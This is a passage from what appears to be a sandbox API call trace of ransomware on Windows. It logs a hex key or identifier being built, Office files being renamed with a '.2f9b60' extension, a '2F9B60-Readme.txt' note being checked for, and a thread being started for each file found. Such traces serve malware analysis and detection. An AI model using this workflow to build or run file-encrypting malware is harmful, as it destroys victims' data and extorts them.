_Dest="8c") returned 2 [0091.739] sprintf (in: _Dest=0x1b776790, _Format="%c%c" | out: _Dest="d8") returned 2 [0091.739] sprintf (in: _Dest=0x1b776792, _Format="%c%c" | out: _Dest="48") returned 2 [0091.739] sprintf (in: _Dest=0x1b776794, _Format="%c%c" | out: _Dest="81") returned 2 [0091.739] sprintf (in: _Dest=0x1b776796, _Format="%c%c" | out: _Dest="8d") returned 2 [0091.739] sprintf (in: _Dest=0x1b776798, _Format="%c%c" | out: _Dest="3f") returned 2 [0091.740] sprintf (in: _Dest=0x1b77679a, _Format="%c%c" | out: _Dest="89") returned 2 [0091.740] sprintf (in: _Dest=0x1b77679c, _Format="%c%c" | out: _Dest="15") returned 2 [0091.740] sprintf (in: _Dest=0x1b77679e, _Format="%c%c" | out: _Dest="ba") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767a0, _Format="%c%c" | out: _Dest="7f") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767a2, _Format="%c%c" | out: _Dest="23") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767a4, _Format="%c%c" | out: _Dest="c6") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767a6, _Format="%c%c" | out: _Dest="8a") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767a8, _Format="%c%c" | out: _Dest="ec") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767aa, _Format="%c%c" | out: _Dest="c5") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767ac, _Format="%c%c" | out: _Dest="e3") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767ae, _Format="%c%c" | out: _Dest="9c") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767b0, _Format="%c%c" | out: _Dest="bc") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767b2, _Format="%c%c" | out: _Dest="a3") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767b4, _Format="%c%c" | out: _Dest="2c") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767b6, _Format="%c%c" | out: _Dest="dd") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767b8, _Format="%c%c" | out: _Dest="f7") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767ba, _Format="%c%c" | out: _Dest="b3") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767bc, _Format="%c%c" | out: _Dest="63") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767be, _Format="%c%c" | out: _Dest="11") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767c0, _Format="%c%c" | out: _Dest="a6") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767c2, _Format="%c%c" | out: _Dest="19") returned 2 [0091.740] sprintf (in: _Dest=0x1b7767c4, _Format="%c%c" | out: _Dest="a7") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767c6, _Format="%c%c" | out: _Dest="6e") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767c8, _Format="%c%c" | out: _Dest="9c") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767ca, _Format="%c%c" | out: _Dest="4e") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767cc, _Format="%c%c" | out: _Dest="8f") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767ce, _Format="%c%c" | out: _Dest="48") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767d0, _Format="%c%c" | out: _Dest="e6") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767d2, _Format="%c%c" | out: _Dest="75") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767d4, _Format="%c%c" | out: _Dest="d6") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767d6, _Format="%c%c" | out: _Dest="c8") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767d8, _Format="%c%c" | out: _Dest="01") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767da, _Format="%c%c" | out: _Dest="3e") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767dc, _Format="%c%c" | out: _Dest="af") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767de, _Format="%c%c" | out: _Dest="ed") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767e0, _Format="%c%c" | out: _Dest="55") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767e2, _Format="%c%c" | out: _Dest="90") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767e4, _Format="%c%c" | out: _Dest="fb") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767e6, _Format="%c%c" | out: _Dest="ca") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767e8, _Format="%c%c" | out: _Dest="96") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767ea, _Format="%c%c" | out: _Dest="56") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767ec, _Format="%c%c" | out: _Dest="bc") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767ee, _Format="%c%c" | out: _Dest="75") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767f0, _Format="%c%c" | out: _Dest="02") returned 2 [0091.741] sprintf (in: _Dest=0x1b7767f2, _Format="%c%c" | out: _Dest="56") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767f4, _Format="%c%c" | out: _Dest="76") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767f6, _Format="%c%c" | out: _Dest="d0") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767f8, _Format="%c%c" | out: _Dest="f1") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767fa, _Format="%c%c" | out: _Dest="d9") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767fc, _Format="%c%c" | out: _Dest="e5") returned 2 [0091.742] sprintf (in: _Dest=0x1b7767fe, _Format="%c%c" | out: _Dest="ef") returned 2 [0091.742] sprintf (in: _Dest=0x1b776800, _Format="%c%c" | out: _Dest="94") returned 2 [0091.742] sprintf (in: _Dest=0x1b776802, _Format="%c%c" | out: _Dest="ed") returned 2 [0091.742] sprintf (in: _Dest=0x1b776804, _Format="%c%c" | out: _Dest="2c") returned 2 [0091.742] sprintf (in: _Dest=0x1b776806, _Format="%c%c" | out: _Dest="a9") returned 2 [0091.742] sprintf (in: _Dest=0x1b776808, _Format="%c%c" | out: _Dest="d8") returned 2 [0091.742] sprintf (in: _Dest=0x1b77680a, _Format="%c%c" | out: _Dest="0f") returned 2 [0091.742] sprintf (in: _Dest=0x1b77680c, _Format="%c%c" | out: _Dest="a2") returned 2 [0091.742] sprintf (in: _Dest=0x1b77680e, _Format="%c%c" | out: _Dest="97") returned 2 [0091.742] sprintf (in: _Dest=0x1b776810, _Format="%c%c" | out: _Dest="bd") returned 2 [0091.742] sprintf (in: _Dest=0x1b776812, _Format="%c%c" | out: _Dest="47") returned 2 [0091.742] sprintf (in: _Dest=0x1b776814, _Format="%c%c" | out: _Dest="a2") returned 2 [0091.742] sprintf (in: _Dest=0x1b776816, _Format="%c%c" | out: _Dest="06") returned 2 [0091.742] sprintf (in: _Dest=0x1b776818, _Format="%c%c" | out: _Dest="9c") returned 2 [0091.742] sprintf (in: _Dest=0x1b77681a, _Format="%c%c" | out: _Dest="bf") returned 2 [0091.742] sprintf (in: _Dest=0x1b77681c, _Format="%c%c" | out: _Dest="6b") returned 2 [0091.742] sprintf (in: _Dest=0x1b77681e, _Format="%c%c" | out: _Dest="d4") returned 2 [0091.743] sprintf (in: _Dest=0x1b776820, _Format="%c%c" | out: _Dest="40") returned 2 [0091.743] sprintf (in: _Dest=0x1b776822, _Format="%c%c" | out: _Dest="a2") returned 2 [0091.743] sprintf (in: _Dest=0x1b776824, _Format="%c%c" | out: _Dest="aa") returned 2 [0091.743] sprintf (in: _Dest=0x1b776826, _Format="%c%c" | out: _Dest="17") returned 2 [0091.743] sprintf (in: _Dest=0x1b776828, _Format="%c%c" | out: _Dest="2e") returned 2 [0091.743] sprintf (in: _Dest=0x1b77682a, _Format="%c%c" | out: _Dest="78") returned 2 [0091.743] sprintf (in: _Dest=0x1b77682c, _Format="%c%c" | out: _Dest="11") returned 2 [0091.743] sprintf (in: _Dest=0x1b77682e, _Format="%c%c" | out: _Dest="ac") returned 2 [0091.743] sprintf (in: _Dest=0x1b776830, _Format="%c%c" | out: _Dest="51") returned 2 [0091.743] sprintf (in: _Dest=0x1b776832, _Format="%c%c" | out: _Dest="0f") returned 2 [0091.743] sprintf (in: _Dest=0x1b776834, _Format="%c%c" | out: _Dest="c4") returned 2 [0091.743] sprintf (in: _Dest=0x1b776836, _Format="%c%c" | out: _Dest="0e") returned 2 [0091.743] sprintf (in: _Dest=0x1b776838, _Format="%c%c" | out: _Dest="c9") returned 2 [0091.743] sprintf (in: _Dest=0x1b77683a, _Format="%c%c" | out: _Dest="4b") returned 2 [0091.743] RtlInitAnsiString (in: DestinationString=0x27b1fa28, SourceString="973baecc328610097975ab2492b4198cd848818d3f8915ba7f23c68aecc5e39cbca32cddf7b36311a619a76e9c4e8f48e675d6c8013eafed5590fbca9656bc75025676d0f1d9e5ef94ed2ca9d80fa297bd47a2069cbf6bd440a2aa172e7811ac510fc40ec94b" | out: DestinationString="973baecc328610097975ab2492b4198cd848818d3f8915ba7f23c68aecc5e39cbca32cddf7b36311a619a76e9c4e8f48e675d6c8013eafed5590fbca9656bc75025676d0f1d9e5ef94ed2ca9d80fa297bd47a2069cbf6bd440a2aa172e7811ac510fc40ec94b") [0091.743] RtlAnsiStringToUnicodeString (in: DestinationString=0x27b1f9f8, SourceString="973baecc328610097975ab2492b4198cd848818d3f8915ba7f23c68aecc5e39cbca32cddf7b36311a619a76e9c4e8f48e675d6c8013eafed5590fbca9656bc75025676d0f1d9e5ef94ed2ca9d80fa297bd47a2069cbf6bd440a2aa172e7811ac510fc40ec94b", AllocateDestinationString=1 | out: DestinationString="973baecc328610097975ab2492b4198cd848818d3f8915ba7f23c68aecc5e39cbca32cddf7b36311a619a76e9c4e8f48e675d6c8013eafed5590fbca9656bc75025676d0f1d9e5ef94ed2ca9d80fa297bd47a2069cbf6bd440a2aa172e7811ac510fc40ec94b") returned 0x0 [0091.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19a) returned 0x1355e0 [0091.744] wcscat (in: _Dest=0x1b776770, _Source="973baecc328610097975ab2492b4198cd848818d3f8915ba7f2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2") returned="C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2" [0091.744] wcscat (in: _Dest=0x1b776770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2.2f9b60" [0091.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2.2f9b60", NtPathName=0x27b1f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\973baecc328610097975ab2492b4198cd848818d3f8915ba7f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b772eb0 [0091.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0091.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0091.784] NtQueryInformationFile (in: FileHandle=0xd34, IoStatusBlock=0x27b1fa38, FileInformation=0x27b1fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27b1fa38, FileInformation=0x27b1fa48) returned 0x0 [0091.784] NtSetInformationFile (FileHandle=0xd34, IoStatusBlock=0x27b1fa38, FileInformation=0x27b1fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0091.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1355e0) returned 1 [0091.794] FlushFileBuffers (hFile=0xd34) returned 1 [0091.800] CloseHandle (hObject=0xd34) returned 1 [0091.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4da40 [0091.817] wcscpy (in: _Dest=0x1cf4da40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0091.817] wcscat (in: _Dest=0x1cf4da40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0091.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0091.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4da40) returned 1 [0091.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 Thread: id = 418 os_tid = 0xfb8 [0091.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86f050 [0091.237] wcscpy (in: _Dest=0x1b86f050, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0091.237] wcscat (in: _Dest=0x1b86f050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0091.237] wcscat (in: _Dest=0x1b86f050, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*" [0091.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce217a0 [0091.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0091.239] wcscmp (_String1=".", _String2=".") returned 0 [0091.239] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.239] wcscmp (_String1="..", _String2=".") returned 1 [0091.239] wcscmp (_String1="..", _String2="..") returned 0 [0091.239] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0091.239] wcscmp (_String1="CURRENCY.GIF", _String2=".") returned 1 [0091.239] wcscmp (_String1="CURRENCY.GIF", _String2="..") returned 1 [0091.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4d410 [0091.239] wcscpy (in: _Dest=0x1cf4d410, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0091.239] wcscat (in: _Dest=0x1cf4d410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0091.239] wcscat (in: _Dest=0x1cf4d410, _Source="CURRENCY.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" [0097.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0097.798] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0097.798] wcscmp (_String1="CURRENCY.HTM", _String2=".") returned 1 [0097.798] wcscmp (_String1="CURRENCY.HTM", _String2="..") returned 1 [0097.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85b760 [0097.799] wcscpy (in: _Dest=0x1b85b760, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.799] wcscat (in: _Dest=0x1b85b760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.799] wcscat (in: _Dest=0x1b85b760, _Source="CURRENCY.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" [0097.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0097.800] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0097.800] wcscmp (_String1="DADSHIRT.GIF", _String2=".") returned 1 [0097.800] wcscmp (_String1="DADSHIRT.GIF", _String2="..") returned 1 [0097.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b3a0 [0097.800] wcscpy (in: _Dest=0x1b86b3a0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.800] wcscat (in: _Dest=0x1b86b3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.800] wcscat (in: _Dest=0x1b86b3a0, _Source="DADSHIRT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" [0097.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0097.804] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0097.804] wcscmp (_String1="DADSHIRT.HTM", _String2=".") returned 1 [0097.804] wcscmp (_String1="DADSHIRT.HTM", _String2="..") returned 1 [0097.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b430 [0097.804] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.804] wcscat (in: _Dest=0x1b86b430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.804] wcscat (in: _Dest=0x1b86b430, _Source="DADSHIRT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" [0097.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0097.805] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0097.805] wcscmp (_String1="JUDGESCH.GIF", _String2=".") returned 1 [0097.805] wcscmp (_String1="JUDGESCH.GIF", _String2="..") returned 1 [0097.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b4c0 [0097.806] wcscpy (in: _Dest=0x1b86b4c0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.806] wcscat (in: _Dest=0x1b86b4c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.806] wcscat (in: _Dest=0x1b86b4c0, _Source="JUDGESCH.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" [0097.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0097.807] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0097.807] wcscmp (_String1="JUDGESCH.HTM", _String2=".") returned 1 [0097.807] wcscmp (_String1="JUDGESCH.HTM", _String2="..") returned 1 [0097.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b550 [0097.807] wcscpy (in: _Dest=0x1b86b550, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.807] wcscat (in: _Dest=0x1b86b550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.807] wcscat (in: _Dest=0x1b86b550, _Source="JUDGESCH.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" [0097.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0097.808] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0097.808] wcscmp (_String1="JUNGLE.GIF", _String2=".") returned 1 [0097.808] wcscmp (_String1="JUNGLE.GIF", _String2="..") returned 1 [0097.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86b5e0 [0097.808] wcscpy (in: _Dest=0x1b86b5e0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0097.809] wcscat (in: _Dest=0x1b86b5e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0097.809] wcscat (in: _Dest=0x1b86b5e0, _Source="JUNGLE.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" [0097.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b5e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0097.810] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0097.810] wcscmp (_String1="JUNGLE.HTM", _String2=".") returned 1 [0097.810] wcscmp (_String1="JUNGLE.HTM", _String2="..") returned 1 [0097.810] RtlAllocateHeap 